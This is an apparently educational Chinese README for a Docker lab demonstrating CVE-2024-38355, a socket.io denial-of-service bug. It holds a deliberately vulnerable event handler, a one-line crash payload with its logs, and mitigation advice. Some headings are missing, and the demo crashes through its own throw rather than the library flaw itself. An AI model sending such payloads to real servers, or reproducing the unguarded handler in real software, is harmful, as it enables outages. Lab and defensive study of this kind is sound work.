本项目是一个概念验证,演示了 CVE-2024-38355,这是 socket.io 中的一个拒绝服务漏洞。该项目仅供教育目的,展示攻击机制以及如何保护应用。
该漏洞影响以下 socket.io 版本:
一个特制的 Socket.IO 数据包可能在服务器上触发未捕获的异常,导致 Node.js 进程崩溃。这会造成拒绝服务 (DoS) 攻击。
工作原理:
关键因素:
error 事件监听器该项目包含两个 Docker 容器:
[email protected] 的 Node.js 服务器。它有一个事件处理器,在接收恶意数据时可能抛出未捕获的异常。或者,替代方案:
在项目根目录打开终端并运行:
docker-compose down
docker-compose build --no-cache
docker-compose up
这将执行以下操作:
终端 1 - 启动服务器:
cd server
npm install
npm start
终端 2 - 运行漏洞利用:
cd exploit
npm install
npm start
服务器日志:
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
漏洞利用日志:
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
按下 Ctrl+C 或运行:
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
要保护你的应用免受此漏洞影响:
更新 socket.io 到 4.6.2 或更高版本(该修复版本添加了一个默认的无操作错误处理器)。
始终为 socket 附加错误处理器:
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
在 try-catch 中包装事件处理器:
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
添加全局未捕获异常处理器(作为最后的手段):
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
项目仅用于教育目的。